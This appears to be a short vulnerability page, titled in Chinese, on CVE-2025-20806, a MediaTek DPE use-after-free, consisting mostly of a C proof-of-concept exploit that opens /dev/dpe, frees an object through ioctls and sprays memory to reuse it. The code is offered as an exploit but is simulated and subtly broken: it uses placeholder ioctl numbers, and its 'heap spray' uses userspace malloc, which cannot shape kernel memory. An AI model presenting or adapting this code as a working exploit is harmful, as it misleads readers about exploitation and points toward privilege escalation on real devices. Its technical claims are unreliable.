CVE-2025-20806: MediaTek DPE组件使用后释放漏洞导致本地权限提升

// CVE-2025-20806 PoC - MediaTek DPE Use-After-Free // This PoC demonstrates the vulnerability concept (requires system privileges) #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> // Simulated DPE ioctl interface #define DPE_IOCTL_TRIGGER_UAF 0xdeadbeef #define DPE_IOCTL_FREE_OBJECT 0xcafebabe typedef struct { unsigned long user_ptr; unsigned int size; } dpe_alloc_request; typedef struct { unsigned int object_id; } dpe_free_request; int main() { int fd; dpe_alloc_request alloc_req; dpe_free_request free_req; printf("[*] CVE-2025-20806 MediaTek DPE Use-After-Free PoC\n"); printf("[*] Requires: System privileges already obtained\n"); // Open DPE device node (typical path varies by device) fd = open("/dev/dpe", O_RDWR); if (fd < 0) { printf("[-] Failed to open DPE device\n"); return -1; } printf("[+] Step 1: Allocate DPE object\n"); alloc_req.user_ptr = (unsigned long)malloc(0x100); alloc_req.size = 0x100; ioctl(fd, DPE_IOCTL_TRIGGER_UAF, &alloc_req); printf("[+] Step 2: Free the object (triggering UAF condition)\n"); free_req.object_id = 1; ioctl(fd, DPE_IOCTL_FREE_OBJECT, &free_req); printf("[+] Step 3: Reallocate memory and trigger use-after-free\n"); // Spray heap to control freed memory for (int i = 0; i < 100; i++) { void *spray = malloc(0x100); memset(spray, 0x41, 0x100); // Fill with controlled data } printf("[+] Step 4: Trigger DPE operation on freed object\n"); // This would trigger the use-after-free with controlled data ioctl(fd, DPE_IOCTL_TRIGGER_UAF, &alloc_req); printf("[!] UAF condition triggered - exploitation depends on memory layout\n"); close(fd); return 0; } // Note: Actual exploitation requires device-specific DPE driver access // and precise heap grooming techniques to achieve privilege escalation.